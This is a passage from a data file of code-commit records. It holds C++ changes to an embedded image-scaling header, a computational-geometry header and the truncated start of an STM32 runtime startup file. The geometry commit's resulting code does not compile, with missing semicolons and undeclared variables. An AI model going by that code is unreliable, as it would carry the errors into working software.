static_cast<unsigned char>(cc.b);\n\t\t}\n\n\t\tif(cc.a < 0.0f) {\n\t\t\tc.a = 0;\n\t\t} else if(cc.a > 255.0f) {\n\t\t\tc.a = 255;\n\t\t} else {\n\t\t\tc.a = static_cast<unsigned char>(cc.a);\n\t\t}\n\t}\n\n\n\t\/\/-----------------------------------------------------------------\/\/\n\t\/*!\n\t\t@brief\t画像をリサイズする（lanczos-3 アルゴリズム）\n\t\t@param[in]\tsrc\tソースのイメージ\n\t\t@param[out]\tdst\tリサイズイメージ\n\t\t@param[in]\tscale\tスケール・ファクター\n\t*\/\n\t\/\/-----------------------------------------------------------------\/\/\n\tvoid resize_image(const i_img* src, img_rgba8& dst, float scale)\n\t{\n\t\tif(scale <= 0.0f) return;\n\n\t\tint sw = src->get_size().x;\n\t\tint sh = src->get_size().y;\n\t\tint dw = static_cast<int>(static_cast<float>(sw) * scale);\n\t\tint dh = static_cast<int>(static_cast<float>(sh) * scale);\n\t\tdst.create(vtx::spos(dw, dh), src->test_alpha());\n\n\t\tfloat n = 3.0f;\n\t\tinit_lanczos_(n);\n\n\t\tfloat scn = 1.0f \/ scale;\n\t\tif(scale > 1.0f) {\n\t\t\tvtx::spos out;\n\t\t\tfor(out.y = 0; out.y < dh; ++out.y) {\n\t\t\t\tfloat yy = (static_cast<float>(out.y) + 0.5f) * scn;\n\t\t\t\tint ys = static_cast<int>(yy - n);\n\t\t\t\tif(ys < 0) ys = 0;\n\t\t\t\tint ye = static_cast<int>(yy + n);\n\t\t\t\tif(ye > (sh - 1)) ye = sh - 1;\n\t\t\t\tfor(out.x = 0; out.x < dw; ++out.x) {\n\t\t\t\t\tfloat xx = (static_cast<float>(out.x) + 0.5f) * scn;\n\t\t\t\t\tint xs = static_cast<int>(xx - n);\n\t\t\t\t\tif(xs < 0) xs = 0;\n\t\t\t\t\tint xe = static_cast<int>(xx + n);\n\t\t\t\t\tif(xe > (sw - 1)) xe = sw - 1;\n\n\t\t\t\t\trgbaf col(0.0f);\n\t\t\t\t\tfloat weight_total = 0.0f;\n\t\t\t\t\tvtx::spos pos;\n\t\t\t\t\tfor(pos.y = ys; pos.y <= ye; ++pos.y) {\n\t\t\t\t\t\tfloat yl = fabs((pos.y + 0.5f) - yy);\n\t\t\t\t\t\tfor(pos.x = xs; pos.x <= xe; ++pos.x) {\n\t\t\t\t\t\t\tfloat xl = std::abs((static_cast<float>(pos.x) + 0.5f) - xx);\n\t\t\t\t\t\t\tfloat weight = lanczos_t_(xl, yl, n);\n\t\t\t\t\t\t\trgba8 c;\n\t\t\t\t\t\t\tsrc->get_pixel(pos, c);\n\t\t\t\t\t\t\tcol.r += c.r * weight;\n\t\t\t\t\t\t\tcol.g += c.g * weight;\n\t\t\t\t\t\t\tcol.b += c.b * weight;\n\t\t\t\t\t\t\tcol.a += c.a * weight;\n\t\t\t\t\t\t\tweight_total += weight;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\trgba8 c;\n\t\t\t\t\tcolor_div_(col, weight_total, c);\n\t\t\t\t\tdst.put_pixel(out, c);\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tvtx::spos out;\n\t\t\tfor(out.y = 0; out.y < dh; ++out.y) {\n\t\t\t\tfloat yy = static_cast<float>(out.y) + 0.5f;\n\t\t\t\tint ys = static_cast<int>((yy - n) * scn);\n\t\t\t\tif(ys < 0) ys = 0;\n\t\t\t\tint ye = static_cast<int>((yy + n) * scn);\n\t\t\t\tif(ye > (sh - 1)) ye = sh - 1;\n\t\t\t\tfor(out.x = 0; out.x < dw; ++out.x) {\n\t\t\t\t\tfloat xx = static_cast<float>(out.x) + 0.5f;\n\t\t\t\t\tint xs = static_cast<int>((xx - n) * scn);\n\t\t\t\t\tif(xs < 0) xs = 0;\n\t\t\t\t\tint xe = static_cast<int>((xx + n) * scn);\n\t\t\t\t\tif(xe > (sw - 1)) xe = sw - 1;\n\n\t\t\t\t\trgbaf col(0.0f);\n\t\t\t\t\tfloat weight_total = 0.0f;\n\t\t\t\t\tvtx::spos pos;\n\t\t\t\t\tfor(pos.y = ys; pos.y <= ye; ++pos.y) {\n\t\t\t\t\t\tfloat yl = std::abs(((static_cast<float>(pos.y) + 0.5f) * scale) - yy);\n\t\t\t\t\t\tfor(pos.x = xs; pos.x <= xe; ++pos.x) {\n\t\t\t\t\t\t\tfloat xl = std::abs(((static_cast<float>(pos.x) + 0.5f) * scale) - xx);\n\t\t\t\t\t\t\tfloat weight = lanczos_t_(xl, yl, n);\n\t\t\t\t\t\t\trgba8 c;\n\t\t\t\t\t\t\tsrc->get_pixel(pos, c);\n\t\t\t\t\t\t\tcol.r += static_cast<float>(c.r) * weight;\n\t\t\t\t\t\t\tcol.g += static_cast<float>(c.g) * weight;\n\t\t\t\t\t\t\tcol.b += static_cast<float>(c.b) * weight;\n\t\t\t\t\t\t\tcol.a += static_cast<float>(c.a) * weight;\n\t\t\t\t\t\t\tweight_total += weight;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\trgba8 c;\n\t\t\t\t\tcolor_div_(col, weight_total, c);\n\t\t\t\t\tdst.put_pixel(out, c);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n#endif\n\n\t\tvtx::spos\tofs_;\n\t\tstruct step_t {\n\t\t\tint32_t\tup;\n\t\t\tint32_t\tdn;\n\t\t\tstep_t(uint32_t u = 1, uint32_t d = 1) noexcept : up(u), dn(d) { }\n\t\t};\n\t\tstep_t\t\tscale_;\n\n\tpublic:\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief\tコンストラクタ\n\t\t\t@param[in]\trender\tレンダークラス（参照）\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tscaling(RENDER& render) noexcept : render_(render),\n\/\/\t\t\tlanczos_n_(0.0f),\n\t\t\tofs_(0), scale_()\n\t\t{ }\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief\tオフセットを設定\n\t\t\t@param[in]\tofs\tオフセット\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tvoid set_offset(const vtx::spos& ofs = vtx::spos(0)) noexcept { ofs_ = ofs; }\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief\tスケールを設定\n\t\t\t@param[in]\tup\t\t分子\n\t\t\t@param[in]\tdn\t\t分母\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tvoid set_scale(uint32_t up = 1, uint32_t dn = 1) noexcept { scale_ = step_t(up, dn); }\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief\t描画ファンクタ\n\t\t\t@param[in]\tx\tX 座標\n\t\t\t@param[in]\ty\tY 座標\n\t\t\t@param[in]\tr\tR カラー\n\t\t\t@param[in]\tg\tG カラー\n\t\t\t@param[in]\tb\tB カラー\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tvoid operator() (int16_t x, int16_t y, uint8_t r, uint8_t g, uint8_t b, uint8_t a = 255) noexcept\n\t\t{\n\t\t\tif(a == 0) return;\n\n\t\t\tauto sc = graphics::share_color(r, g, b);\n\t\t\tif(scale_.up < scale_.dn) {\n\t\t\t\tif(sc.rgb565 == 0) sc = graphics::share_color(0, 0, 1);\n\t\t\t\tauto xx = x * scale_.up \/ scale_.dn;\n\t\t\t\tauto yy = y * scale_.up \/ scale_.dn;\n\t\t\t\tauto rc = render_.get_plot(vtx::spos(xx + ofs_.x, yy + ofs_.y));\n\t\t\t\tif(rc == 0) {\n\t\t\t\t\trender_.plot(vtx::spos(xx + ofs_.x, yy + ofs_.y), sc.rgb565);\n\t\t\t\t} else {\n\t\t\t\t\tauto nc = graphics::share_color::color_sum(sc.rgb565, rc);\n\t\t\t\t\trender_.plot(vtx::spos(xx + ofs_.x, yy + ofs_.y), nc);\n\t\t\t\t}\n\t\t\t} else if(scale_.up > scale_.dn) {\n\t\t\t\tauto d  = (scale_.up + (scale_.dn - 1)) \/ scale_.dn;\n\t\t\t\tauto xx = x * scale_.up \/ scale_.dn;\n\t\t\t\tauto yy = y * scale_.up \/ scale_.dn;\n\t\t\t\trender_.set_fore_color(sc);\n\t\t\t\trender_.fill_box(vtx::srect(xx + ofs_.x, yy + ofs_.y, d, d));\n\t\t\t} else {\n\t\t\t\tif(a == 255) {\n\t\t\t\t\trender_.plot(vtx::spos(x + ofs_.x, y + ofs_.y), sc.rgb565);\n\t\t\t\t} else {\n\/\/ utils::format(\"Alpha: %d\\n\") % static_cast<int>(a);\n\t\t\t\t\tauto rc = render_.get_plot(vtx::spos(x + ofs_.x, y + ofs_.y));\n\t\t\t\t\tauto ac = graphics::share_color::conv_rgba8(rc);\n\t\t\t\t\tauto t = graphics::share_color::blend(ac, graphics::rgba8_t(r, g, b, a));\n\t\t\t\t\tauto dc = graphics::share_color(t.r, t.g, t.b);\n\t\t\t\t\trender_.plot(vtx::spos(x + ofs_.x, y + ofs_.y), dc.rgb565);\n\t\t\t\t}\n\t\t\t}\n#if 0\n\t\t\tuint32_t key = static_cast<uint16_t>(xx) | (static_cast<uint16_t>(yy) << 16);\n\t\t\tauto it = map_.find(key);\n\t\t\tif(it != map_.end()) {\n\/\/\t\t\t\tit->first.r += r;\n\/\/\t\t\t\tit->first.g += g;\n\/\/\t\t\t\tit->first.b += b;\n\/\/\t\t\t\t++it->first.cnt;\n\/\/\t\t\t\tif(it->first.cnt >= 4) {\n\/\/\t\t\t\t\tauto c = RENDER::COLOR::rgb(r, g, b);\n\/\/\t\t\t\t\trender_.plot(xx + ofs_.x, yy + ofs_.y, c);\t\t\t\t\t\n\/\/\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tmap_.emplace(r, g, b, 1);\n\t\t\t}\n#endif\n\t\t}\n\t};\n}\n<commit_msg>Update: cleanup<commit_after>#pragma once\n\/\/=====================================================================\/\/\n\/*!\t@file\n\t@brief\tスケーリング（拡大、縮小）\n    @author 平松邦仁 (hira@rvf-rc45.net)\n\t@copyright\tCopyright (C) 2018 Kunihito Hiramatsu @n\n\t\t\t\tReleased under the MIT license @n\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\n*\/\n\/\/=====================================================================\/\/\n#include <cstdint>\n#include <cmath>\n#include \"common\/vtx.hpp\"\n#include \"graphics\/color.hpp\"\n\/\/ #include <unordered_map>\n\nnamespace img {\n\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\/*!\n\t\t@brief\tスケーリング・クラス\n\t\t@param[in]\tRENDER\tレンダー・クラス\n\t*\/\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\ttemplate <class RENDER>\n\tclass scaling {\n\n\t\tRENDER&\t\trender_;\n\n\t\tstruct xy_pad {\n\t\t\tuint32_t\tr;\n\t\t\tuint32_t\tg;\n\t\t\tuint32_t\tb;\n\t\t\tuint32_t\tcnt;\n\t\t};\n\n\/\/\t\ttypedef std::unordered_map<uint32_t, xy_pad> MAP;\n\/\/\t\tMAP\t\t\tmap_;\n\n#if 0\n\t\tstatic float sinc_(float l)\n\t\t{\n\t\t\treturn std::sin(vtx::get_pi<float>() * l) \/ (vtx::get_pi<float>() * l);\n\t\t}\n\n\n\t\tstatic float lanczos_(float d, float n)\n\t\t{\n\t\t\tif(d == 0.0f) {\n\t\t\t\treturn 1.0f;\n\t\t\t} else if(std::abs(d) >= n) {\n\t\t\t\treturn 0.0f;\n\t\t\t} else {\n\t\t\t\treturn sinc_(d) * sinc_(d \/ n);\n\t\t\t}\n\t\t}\n\n\n\t\tfloat lanczos_tbl_[(12 + 1) * (12 + 1)];\n\t\tfloat lanczos_n_;\n\t\t\/\/ -3.0, -2.5, -2.0, -1.5, -1.0, -0.5, 0.0, 0.5, 1.0, 1.5, 2.0, 2.5, 3.0\n\t\tvoid init_lanczos_(float n)\n\t\t{\n\t\t\tif(lanczos_n_ == n) return;\n\n\t\t\tfloat y = -3.0f;\n\t\t\tfor(int i = 0; i < (12 + 1); ++i) {\n\t\t\t\tfloat yl = lanczos_(y, n);\n\t\t\t\tfloat x = -3.0f;\n\t\t\t\tfor(int j = 0; j < (12 + 1); ++j) {\n\t\t\t\t\tfloat xl = lanczos_(x, n);\n\t\t\t\t\tlanczos_tbl_[i * (12 + 1) + j] = xl * yl;\n\t\t\t\t\tx += 0.5f;\n\t\t\t\t}\n\t\t\t\ty += 0.5f;\n\t\t\t}\n\t\t\tlanczos_n_ = n;\n\t\t}\n\n\n\t\tfloat lanczos_t_(float x, float y, float n)\n\t\t{\n\t\t\tint i = static_cast<int>(y * 2.0f);\n\t\t\ti += 6;\n\t\t\tint j = static_cast<int>(x * 2.0f);\n\t\t\tj += 6;\n\t\t\tif(i >= 0 && i < (12 + 1) && j >= 0 && j < (12 + 1)) {\n\t\t\t\treturn lanczos_tbl_[i * (12 + 1) + j];\n\t\t\t} else {\n\t\t\t\treturn lanczos_(x, n) * lanczos_(y, n);\n\t\t\t}\n\t\t}\n#endif\n\n#if 0\n\tstatic void color_div_(const rgbaf& col, float total, rgba8& c)\n\t{\n\t\trgbaf cc;\n\t\tif(total != 0.0f) {\n\t\t\tfloat sf = 1.0f \/ total;\n\t\t\tcc.r = col.r * sf;\n\t\t\tcc.g = col.g * sf;\n\t\t\tcc.b = col.b * sf;\n\t\t\tcc.a = col.a * sf;\n\t\t} else {\n\t\t\tcc = col;\n\t\t}\n\n\t\tif(cc.r < 0.0f) {\n\t\t\tc.r = 0;\n\t\t} else if(cc.r > 255.0f) {\n\t\t\tc.r = 255;\n\t\t} else {\n\t\t\tc.r = static_cast<unsigned char>(cc.r);\n\t\t}\n\n\t\tif(cc.g < 0.0f) {\n\t\t\tc.g = 0;\n\t\t} else if(cc.g > 255.0f) {\n\t\t\tc.g = 255;\n\t\t} else {\n\t\t\tc.g = static_cast<unsigned char>(cc.g);\n\t\t}\n\n\t\tif(cc.b < 0.0f) {\n\t\t\tc.b = 0;\n\t\t} else if(cc.b > 255.0f) {\n\t\t\tc.b = 255;\n\t\t} else {\n\t\t\tc.b = static_cast<unsigned char>(cc.b);\n\t\t}\n\n\t\tif(cc.a < 0.0f) {\n\t\t\tc.a = 0;\n\t\t} else if(cc.a > 255.0f) {\n\t\t\tc.a = 255;\n\t\t} else {\n\t\t\tc.a = static_cast<unsigned char>(cc.a);\n\t\t}\n\t}\n\n\n\t\/\/-----------------------------------------------------------------\/\/\n\t\/*!\n\t\t@brief\t画像をリサイズする（lanczos-3 アルゴリズム）\n\t\t@param[in]\tsrc\tソースのイメージ\n\t\t@param[out]\tdst\tリサイズイメージ\n\t\t@param[in]\tscale\tスケール・ファクター\n\t*\/\n\t\/\/-----------------------------------------------------------------\/\/\n\tvoid resize_image(const i_img* src, img_rgba8& dst, float scale)\n\t{\n\t\tif(scale <= 0.0f) return;\n\n\t\tint sw = src->get_size().x;\n\t\tint sh = src->get_size().y;\n\t\tint dw = static_cast<int>(static_cast<float>(sw) * scale);\n\t\tint dh = static_cast<int>(static_cast<float>(sh) * scale);\n\t\tdst.create(vtx::spos(dw, dh), src->test_alpha());\n\n\t\tfloat n = 3.0f;\n\t\tinit_lanczos_(n);\n\n\t\tfloat scn = 1.0f \/ scale;\n\t\tif(scale > 1.0f) {\n\t\t\tvtx::spos out;\n\t\t\tfor(out.y = 0; out.y < dh; ++out.y) {\n\t\t\t\tfloat yy = (static_cast<float>(out.y) + 0.5f) * scn;\n\t\t\t\tint ys = static_cast<int>(yy - n);\n\t\t\t\tif(ys < 0) ys = 0;\n\t\t\t\tint ye = static_cast<int>(yy + n);\n\t\t\t\tif(ye > (sh - 1)) ye = sh - 1;\n\t\t\t\tfor(out.x = 0; out.x < dw; ++out.x) {\n\t\t\t\t\tfloat xx = (static_cast<float>(out.x) + 0.5f) * scn;\n\t\t\t\t\tint xs = static_cast<int>(xx - n);\n\t\t\t\t\tif(xs < 0) xs = 0;\n\t\t\t\t\tint xe = static_cast<int>(xx + n);\n\t\t\t\t\tif(xe > (sw - 1)) xe = sw - 1;\n\n\t\t\t\t\trgbaf col(0.0f);\n\t\t\t\t\tfloat weight_total = 0.0f;\n\t\t\t\t\tvtx::spos pos;\n\t\t\t\t\tfor(pos.y = ys; pos.y <= ye; ++pos.y) {\n\t\t\t\t\t\tfloat yl = fabs((pos.y + 0.5f) - yy);\n\t\t\t\t\t\tfor(pos.x = xs; pos.x <= xe; ++pos.x) {\n\t\t\t\t\t\t\tfloat xl = std::abs((static_cast<float>(pos.x) + 0.5f) - xx);\n\t\t\t\t\t\t\tfloat weight = lanczos_t_(xl, yl, n);\n\t\t\t\t\t\t\trgba8 c;\n\t\t\t\t\t\t\tsrc->get_pixel(pos, c);\n\t\t\t\t\t\t\tcol.r += c.r * weight;\n\t\t\t\t\t\t\tcol.g += c.g * weight;\n\t\t\t\t\t\t\tcol.b += c.b * weight;\n\t\t\t\t\t\t\tcol.a += c.a * weight;\n\t\t\t\t\t\t\tweight_total += weight;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\trgba8 c;\n\t\t\t\t\tcolor_div_(col, weight_total, c);\n\t\t\t\t\tdst.put_pixel(out, c);\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tvtx::spos out;\n\t\t\tfor(out.y = 0; out.y < dh; ++out.y) {\n\t\t\t\tfloat yy = static_cast<float>(out.y) + 0.5f;\n\t\t\t\tint ys = static_cast<int>((yy - n) * scn);\n\t\t\t\tif(ys < 0) ys = 0;\n\t\t\t\tint ye = static_cast<int>((yy + n) * scn);\n\t\t\t\tif(ye > (sh - 1)) ye = sh - 1;\n\t\t\t\tfor(out.x = 0; out.x < dw; ++out.x) {\n\t\t\t\t\tfloat xx = static_cast<float>(out.x) + 0.5f;\n\t\t\t\t\tint xs = static_cast<int>((xx - n) * scn);\n\t\t\t\t\tif(xs < 0) xs = 0;\n\t\t\t\t\tint xe = static_cast<int>((xx + n) * scn);\n\t\t\t\t\tif(xe > (sw - 1)) xe = sw - 1;\n\n\t\t\t\t\trgbaf col(0.0f);\n\t\t\t\t\tfloat weight_total = 0.0f;\n\t\t\t\t\tvtx::spos pos;\n\t\t\t\t\tfor(pos.y = ys; pos.y <= ye; ++pos.y) {\n\t\t\t\t\t\tfloat yl = std::abs(((static_cast<float>(pos.y) + 0.5f) * scale) - yy);\n\t\t\t\t\t\tfor(pos.x = xs; pos.x <= xe; ++pos.x) {\n\t\t\t\t\t\t\tfloat xl = std::abs(((static_cast<float>(pos.x) + 0.5f) * scale) - xx);\n\t\t\t\t\t\t\tfloat weight = lanczos_t_(xl, yl, n);\n\t\t\t\t\t\t\trgba8 c;\n\t\t\t\t\t\t\tsrc->get_pixel(pos, c);\n\t\t\t\t\t\t\tcol.r += static_cast<float>(c.r) * weight;\n\t\t\t\t\t\t\tcol.g += static_cast<float>(c.g) * weight;\n\t\t\t\t\t\t\tcol.b += static_cast<float>(c.b) * weight;\n\t\t\t\t\t\t\tcol.a += static_cast<float>(c.a) * weight;\n\t\t\t\t\t\t\tweight_total += weight;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\trgba8 c;\n\t\t\t\t\tcolor_div_(col, weight_total, c);\n\t\t\t\t\tdst.put_pixel(out, c);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n#endif\n\n\t\tvtx::spos\tofs_;\n\t\tstruct step_t {\n\t\t\tint32_t\tup;\n\t\t\tint32_t\tdn;\n\t\t\tstep_t(uint32_t u = 1, uint32_t d = 1) noexcept : up(u), dn(d) { }\n\t\t};\n\t\tstep_t\t\tscale_;\n\n\tpublic:\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief\tコンストラクタ\n\t\t\t@param[in]\trender\tレンダークラス（参照）\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tscaling(RENDER& render) noexcept : render_(render),\n\/\/\t\t\tlanczos_n_(0.0f),\n\t\t\tofs_(0), scale_()\n\t\t{ }\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief\tオフセットを設定\n\t\t\t@param[in]\tofs\tオフセット\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tvoid set_offset(const vtx::spos& ofs = vtx::spos(0)) noexcept { ofs_ = ofs; }\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief\tスケールを設定\n\t\t\t@param[in]\tup\t\t分子\n\t\t\t@param[in]\tdn\t\t分母\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tvoid set_scale(uint32_t up = 1, uint32_t dn = 1) noexcept { scale_ = step_t(up, dn); }\n\n\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\t\/*!\n\t\t\t@brief\t描画ファンクタ\n\t\t\t@param[in]\tx\tX 座標\n\t\t\t@param[in]\ty\tY 座標\n\t\t\t@param[in]\tr\tR カラー\n\t\t\t@param[in]\tg\tG カラー\n\t\t\t@param[in]\tb\tB カラー\n\t\t*\/\n\t\t\/\/-----------------------------------------------------------------\/\/\n\t\tvoid operator() (int16_t x, int16_t y, uint8_t r, uint8_t g, uint8_t b, uint8_t a = 255) noexcept\n\t\t{\n\t\t\tif(a == 0) return;\n\n\t\t\tauto sc = graphics::share_color(r, g, b);\n\t\t\tif(scale_.up < scale_.dn) {\n\t\t\t\tif(sc.rgb565 == 0) sc = graphics::share_color(0, 0, 1);\n\t\t\t\tauto xx = x * scale_.up \/ scale_.dn;\n\t\t\t\tauto yy = y * scale_.up \/ scale_.dn;\n\t\t\t\tauto rc = render_.get_plot(vtx::spos(xx + ofs_.x, yy + ofs_.y));\n\t\t\t\tif(rc == 0) {\n\t\t\t\t\trender_.plot(vtx::spos(xx + ofs_.x, yy + ofs_.y), sc.rgb565);\n\t\t\t\t} else {\n\t\t\t\t\tif(a == 255) {\n\t\t\t\t\t\tauto nc = graphics::share_color::color_sum(sc.rgb565, rc);\n\t\t\t\t\t\trender_.plot(vtx::spos(xx + ofs_.x, yy + ofs_.y), nc);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tauto ac = graphics::share_color::conv_rgba8(rc);\n\t\t\t\t\t\tauto t = graphics::share_color::blend(ac, graphics::rgba8_t(r, g, b, a));\n\t\t\t\t\t\tauto dc = graphics::share_color(t.r, t.g, t.b);\n\t\t\t\t\t\trender_.plot(vtx::spos(x + ofs_.x, y + ofs_.y), dc.rgb565);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if(scale_.up > scale_.dn) {\n\t\t\t\tauto d  = (scale_.up + (scale_.dn - 1)) \/ scale_.dn;\n\t\t\t\tauto xx = x * scale_.up \/ scale_.dn;\n\t\t\t\tauto yy = y * scale_.up \/ scale_.dn;\n\t\t\t\trender_.set_fore_color(sc);\n\t\t\t\trender_.fill_box(vtx::srect(xx + ofs_.x, yy + ofs_.y, d, d));\n\t\t\t} else {\n\t\t\t\tif(a == 255) {\n\t\t\t\t\trender_.plot(vtx::spos(x + ofs_.x, y + ofs_.y), sc.rgb565);\n\t\t\t\t} else {\n\t\t\t\t\tauto rc = render_.get_plot(vtx::spos(x + ofs_.x, y + ofs_.y));\n\t\t\t\t\tauto ac = graphics::share_color::conv_rgba8(rc);\n\t\t\t\t\tauto t = graphics::share_color::blend(ac, graphics::rgba8_t(r, g, b, a));\n\t\t\t\t\tauto dc = graphics::share_color(t.r, t.g, t.b);\n\t\t\t\t\trender_.plot(vtx::spos(x + ofs_.x, y + ofs_.y), dc.rgb565);\n\t\t\t\t}\n\t\t\t}\n#if 0\n\t\t\tuint32_t key = static_cast<uint16_t>(xx) | (static_cast<uint16_t>(yy) << 16);\n\t\t\tauto it = map_.find(key);\n\t\t\tif(it != map_.end()) {\n\/\/\t\t\t\tit->first.r += r;\n\/\/\t\t\t\tit->first.g += g;\n\/\/\t\t\t\tit->first.b += b;\n\/\/\t\t\t\t++it->first.cnt;\n\/\/\t\t\t\tif(it->first.cnt >= 4) {\n\/\/\t\t\t\t\tauto c = RENDER::COLOR::rgb(r, g, b);\n\/\/\t\t\t\t\trender_.plot(xx + ofs_.x, yy + ofs_.y, c);\t\t\t\t\t\n\/\/\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tmap_.emplace(r, g, b, 1);\n\t\t\t}\n#endif\n\t\t}\n\t};\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include \"..\/util.hpp\"\n\nusing Point = complex<ld>;\nusing Polygon = vector<Point>;\n\nconst ld eps = 1e-10;\n\nPoint at(const Polygon &g, int i) {\n  i %= (int)g.size();\n  return g[i < 0 ? i + g.size() : i];\n}\n\nbool comp(Point a, Point b) { return real(a - b) * 1.347589 + imag(a - b) > 0; }\n\nld dot(Point a, Point b) { return real(conj(a) * b); }\nld cross(Point a, Point b) { return imag(conj(a) * b); }\n\nstruct Segment {\n  Point a, b;\n  Segment(Point p, Point q) : a(p), b(q) { ; }\n};\n\nstruct Line {\n  Point a, b;\n  Line(Point p, Point q) : a(p), b(q) { ; }\n  explicit Line(Segment s) : a(s.a), b(s.b) { ; }\n};\n\nstruct Circle {\n  Point p;\n  ld r;\n  Circle(Point a, ld b) : p(a), r(b) { ; }\n};\n\n\/\/ counter clockwise\nint ccw(Point a, Point b, Point c) {\n  b -= a;\n  c -= a;\n  if (cross(b, c) > eps) return 1;    \/\/ counter clockwise\n  if (cross(b, c) < -eps) return -1;  \/\/ clockwise\n  if (dot(b, c) < 0) return 2;        \/\/ c--a--b on line\n  if (norm(b) < norm(c)) return -2;   \/\/ a--b--c on line\n  return 0;                           \/\/ a--c--b on line\n}\n\nvector<Point> unique(vector<Point> ps) {\n  sort(begin(ps), end(ps), comp);\n  vector<Point> res;\n  for (Point p : ps)\n    if (res.empty() || abs(res.back() - p) > eps) res.push_back(p);\n  return res;\n}\n<commit_msg>Add definition of point<commit_after>#pragma once\n\n#include \"..\/template\/const_value.hpp\"\n#include \"..\/template\/float_torelance.hpp\"\n#include \"..\/template\/includes.hpp\"\n\ntemplate <typename real_t> using Vector = std::complex<real_t>;\n\ntemplate <typename real_t> class Point {\n  std::complex<real_t> p;\n  Point() : p(0.0, 0.0) { ; }\n  Point(std::complex<real_t> p_) : p(p_) { ; }\n  Point(real_t x, real_t y) : p(x, y) { ; }\n  Vector<real_t> operator-(const Point &r){ return p - r.p } Point\n  operator+(const Vector<real_t> &r){ return p + r.p } Point\n  operator-(const Vector<real_t> &r) {\n    return p - r.p\n  }\n};\n\ntemplate <typename real_t>\nstd::istream &operator>>(std::istream &is, Point<real_t> &p) {\n  is >> x.p.real() >> x.p.imag();\n  return is;\n}\n\ntemplate <typename float_type, const float_type &eps>\nstd::ostream &operator<<(std::ostream &os, const Point<real_t> &p) {\n  os << x.p.real() << \" \" << x.p.imag();\n  return os;\n}\n\ntemplate <typename point_t> class Polygon {\n  std::vector<point_t> g;\n  Polygon() : g(0) { ; }\n  Polygon(const int n) : g(n, point_t()) { ; }\n  Polygon(const std::vector<point_t> &g_) : g(g_) { ; }\n  void push_back(const point_t &p) { g.push_back(p); }\n  point_t &front() { return g.front(); }\n  point_t &back() { return g.back(); }\n  int size() const { return g.size(); }\n  point_t &operator[](int i) {\n    i %= size();\n    return g[i < 0 ? i + size() : i];\n  }\n};\n\n\/\/ ld dot(Point a, Point b) { return real(conj(a) * b); }\n\/\/ ld cross(Point a, Point b) { return imag(conj(a) * b); }\n\n\/\/ \/\/ counter clockwise\n\/\/ int ccw(Point a, Point b, Point c) {\n\/\/   b -= a;\n\/\/   c -= a;\n\/\/   if (cross(b, c) > 0) return 1;    \/\/ counter clockwise\n\/\/   else if (cross(b, c) < 0) return -1;  \/\/ clockwise\n\/\/   else if (dot(b, c) < 0) return 2;        \/\/ c--a--b on line\n\/\/   else if (norm(b) < norm(c)) return -2;   \/\/ a--b--c on line\n\/\/   else return 0;                           \/\/ a--c--b on line\n\/\/ }\n\n\/\/ std::vector<Point> unique(std::vector<Point> ps) {\n\/\/   std::sort(std::begin(ps), std::end(ps), comp);\n\/\/   std::vector<Point> res;\n\/\/   for (Point p : ps)\n\/\/     if (res.empty() || std::abs(res.back() - p) != 0) res.push_back(p);\n\/\/   return res;\n\/\/ }\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This provides specialized C runtime startup for our memory map.\n *\/\n\n#include \"runtime\/startup.h\"\n\n#include \"lib\/common\/attribute_macros.h\"\n\n#include \"lib\/armv7m\/types.h\"\n#include \"lib\/armv7m\/instructions.h\"\n#include \"lib\/armv7m\/scb.h\"\n\n#include \"lib\/stm32f4xx\/rcc.h\"\n#include \"lib\/stm32f4xx\/syscfg.h\"\n\nusing armv7m::Word;\nusing armv7m::scb;\n\nusing stm32f4xx::ApbPeripheral;\nusing stm32f4xx::rcc;\nusing stm32f4xx::SysCfg;\nusing stm32f4xx::syscfg;\n\ntypedef void (*InitFnPtr)();\n\n\/*\n * These symbols are provided by the linker script.\n *\/\nextern \"C\" {\n  \/\/ Start of image to be copied.\n  extern Word _sram_image_start;\n  \/\/ End of image to be copied.\n  extern Word _sram_image_end;\n  \/\/ Destination for copy (RAM).\n  extern Word _sram_image_dest;\n\n  \/\/ Start\/end of memory to be zeroed.\n  extern Word _bss_start, _bss_end;\n\n  \/\/ Start\/end of initializer arrays.\n  extern InitFnPtr _preinit_array_start, _preinit_array_end;\n  extern InitFnPtr _init_array_start, _init_array_end;\n\n  \/\/ Generated initializer function.\n  extern void 